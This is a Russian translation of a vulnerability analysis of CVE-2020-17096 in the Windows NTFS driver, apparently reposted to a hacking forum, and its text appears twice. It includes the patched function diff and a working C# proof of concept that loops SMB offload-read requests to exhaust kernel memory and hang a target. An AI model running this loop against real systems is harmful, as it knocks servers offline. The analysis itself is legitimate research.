Это анализ уязвимости CVE-2020-17096, опубликованный Microsoft 12 декабря 2020 года.
Уязвимость удаленного выполнения кода, привлекла наше внимание среди последних патчей во вторник.
Различия в ntfs.sys
Сравнивая патченный драйвер с версией без патча с помощью BinDiff, мы увидели, что есть только одна измененная функция, NtfsOffloadRead.
Функция довольно большая, и при внимательном сравнении двух версий драйверов единственный измененный код находится в самом начале функции:
Запуск уязвимого кода
Из названия функции мы пришли к выводу, что она отвечает за обработку запросов чтения с разгрузкой, что является частью функции передачи выгруженных данных, представленной в Windows 8. Чтение разгрузки может быть запрошено удаленно через SMB путем выдачи управляющего кода FSCTL_OFFLOAD_READ.
Действительно, введя управляющий код FSCTL_OFFLOAD_READ, мы увидели, что функция NtfsOffloadRead вызывается, но первая ветвь if пропускается. После некоторых экспериментов мы увидели, что один из способов вызвать ветвление - это открыть папку, а не файл, перед тем, как выполнить выгрузку чтения.
Изучение вариантов эксплуатации
Мы рассмотрели каждое из двух изменений и попытались найти самый простой способ вызвать проблемы на уязвимом компьютере.
- Первое изменение: функция NtfsExtendedCompleteRequestInternal не получала параметр IrpContext.
Бегло взглянув на NtfsExtendedCompleteRequestInternal, кажется, что если первый параметр равен NULL, он игнорируется. В противном случае многочисленные поля структуры IrpContext освобождаются с помощью таких функций, как ExFreePoolWithTag.
Код довольно длинный, и мы не анализировали его досконально, но с первого взгляда мы не нашли способа злоупотребить тем фактом, что эти функции не вызываются в уязвимой версии. Мы заметили и подумали, что ошибка вызывает утечку памяти в невыгружаемом пуле, который гарантированно находится в физической памяти.
Мы реализовали небольшой инструмент, который выдает разгрузочные чтения в бесконечном цикле. Через пару часов нашей уязвимой виртуальной машине не хватило памяти, и она зависла, больше не реагируя на ввод. Ниже вы можете увидеть скриншоты диспетчера задач и код, который мы использовали.
- Второе изменение: поле указателя IRP, часть IrpContex, было установлено в NULL.
Благодаря нашей быстрой попытке мы не нашли способа злоупотребить тем фактом, что в поле указателя IRP установлено значение NULL. Если у вас есть идеи, дайте нам знать.
А как насчет удаленного выполнения кода?
Нам это интересно не меньше вас. К сожалению, у нас есть ограниченное количество времени, которое мы можем потратить на то, чтобы удовлетворить свое любопытство. Мы дошли до того, что нашли уязвимый код и запустили его, чтобы вызвать утечку памяти и, в конечном итоге, отказ в обслуживании, но мы не смогли использовать его для удаленного выполнения кода.
Возможно, здесь нет реального удаленного выполнения кода, и оно было помечено как таковое на всякий случай, как это произошло с уязвимостью ICMPv6 "Плохой сосед" (CVE-2020-16898). Если у вас есть какие-либо идеи, мы будем рады их услышать.
CVE-2020-17096 POC (Denial of Service)
До. Простаивающая ВМ со стандартной конфигурацией и без запущенных программ.
После. Та же простаивающая ВМ после срабатывания утечки памяти уже не отвечает.
Код C#, вызывающий утечку памяти и возможный отказ в обслуживании. Использовался с наборами тестов протокола Windows.
Источник: https://blog.zecops.com/vulnerabilities/ntfs-remote-code-execution-cve-2020-17096-analysis/
Автор перевода: yashechka
Переведено специально для https://xss.pro
Уязвимость удаленного выполнения кода, привлекла наше внимание среди последних патчей во вторник.
Различия в ntfs.sys
Сравнивая патченный драйвер с версией без патча с помощью BinDiff, мы увидели, что есть только одна измененная функция, NtfsOffloadRead.
Функция довольно большая, и при внимательном сравнении двух версий драйверов единственный измененный код находится в самом начале функции:
C:
uint NtfsOffloadRead(PIRP_CONTEXT IrpContext, PIRP Irp)
{
PVOID decoded = NtfsDecodeFileObjectForRead(...);
if (!decoded) {
if (NtfsStatusDebugFlags) {
// ...
}
// *** Change 1: First argument changed from NULL to IrpContext
NtfsExtendedCompleteRequestInternal(NULL, Irp, 0xc000000d, 1, 0);
// *** Change 2: The following if block was completely removed
if (IrpContext && *(PIRP *)(IrpContext + 0x68) == Irp) {
*(PIRP *)(IrpContext + 0x68) = NULL;
}
if (NtfsStatusDebugFlags) {
// ...
}
return 0xc000000d;
}
// The rest of the function...
}
Запуск уязвимого кода
Из названия функции мы пришли к выводу, что она отвечает за обработку запросов чтения с разгрузкой, что является частью функции передачи выгруженных данных, представленной в Windows 8. Чтение разгрузки может быть запрошено удаленно через SMB путем выдачи управляющего кода FSCTL_OFFLOAD_READ.
Действительно, введя управляющий код FSCTL_OFFLOAD_READ, мы увидели, что функция NtfsOffloadRead вызывается, но первая ветвь if пропускается. После некоторых экспериментов мы увидели, что один из способов вызвать ветвление - это открыть папку, а не файл, перед тем, как выполнить выгрузку чтения.
Изучение вариантов эксплуатации
Мы рассмотрели каждое из двух изменений и попытались найти самый простой способ вызвать проблемы на уязвимом компьютере.
- Первое изменение: функция NtfsExtendedCompleteRequestInternal не получала параметр IrpContext.
Бегло взглянув на NtfsExtendedCompleteRequestInternal, кажется, что если первый параметр равен NULL, он игнорируется. В противном случае многочисленные поля структуры IrpContext освобождаются с помощью таких функций, как ExFreePoolWithTag.
Код довольно длинный, и мы не анализировали его досконально, но с первого взгляда мы не нашли способа злоупотребить тем фактом, что эти функции не вызываются в уязвимой версии. Мы заметили и подумали, что ошибка вызывает утечку памяти в невыгружаемом пуле, который гарантированно находится в физической памяти.
Мы реализовали небольшой инструмент, который выдает разгрузочные чтения в бесконечном цикле. Через пару часов нашей уязвимой виртуальной машине не хватило памяти, и она зависла, больше не реагируя на ввод. Ниже вы можете увидеть скриншоты диспетчера задач и код, который мы использовали.
- Второе изменение: поле указателя IRP, часть IrpContex, было установлено в NULL.
Благодаря нашей быстрой попытке мы не нашли способа злоупотребить тем фактом, что в поле указателя IRP установлено значение NULL. Если у вас есть идеи, дайте нам знать.
А как насчет удаленного выполнения кода?
Нам это интересно не меньше вас. К сожалению, у нас есть ограниченное количество времени, которое мы можем потратить на то, чтобы удовлетворить свое любопытство. Мы дошли до того, что нашли уязвимый код и запустили его, чтобы вызвать утечку памяти и, в конечном итоге, отказ в обслуживании, но мы не смогли использовать его для удаленного выполнения кода.
Возможно, здесь нет реального удаленного выполнения кода, и оно было помечено как таковое на всякий случай, как это произошло с уязвимостью ICMPv6 "Плохой сосед" (CVE-2020-16898). Если у вас есть какие-либо идеи, мы будем рады их услышать.
CVE-2020-17096 POC (Denial of Service)
До. Простаивающая ВМ со стандартной конфигурацией и без запущенных программ.
После. Та же простаивающая ВМ после срабатывания утечки памяти уже не отвечает.
C#:
using (var trans = new Smb2ClientTransport())
{
var ipAddress = System.Net.IPAddress.Parse(ip);
trans.ConnectShare(server, ipAddress, domain, user, pass, share, SecurityPackageType.Negotiate, true);
trans.Create(
remote_path,
FsDirectoryDesiredAccess.GENERIC_READ | FsDirectoryDesiredAccess.GENERIC_WRITE,
FsImpersonationLevel.Anonymous,
FsFileAttribute.FILE_ATTRIBUTE_DIRECTORY,
FsCreateDisposition.FILE_CREATE,
FsCreateOption.FILE_DIRECTORY_FILE);
FSCTL_OFFLOAD_READ_INPUT offloadReadInput = new FSCTL_OFFLOAD_READ_INPUT();
offloadReadInput.Size = 32;
offloadReadInput.FileOffset = 0;
offloadReadInput.CopyLength = 0;
byte[] requestInputOffloadRead = TypeMarshal.ToBytes(offloadReadInput);
while (true)
{
trans.SendIoctlPayload(CtlCode_Values.FSCTL_OFFLOAD_READ, requestInputOffloadRead);
trans.ExpectIoctlPayload(out _, out _);
}
}
Код C#, вызывающий утечку памяти и возможный отказ в обслуживании. Использовался с наборами тестов протокола Windows.
Источник: https://blog.zecops.com/vulnerabilities/ntfs-remote-code-execution-cve-2020-17096-analysis/
Автор перевода: yashechka
Переведено специально для https://xss.pro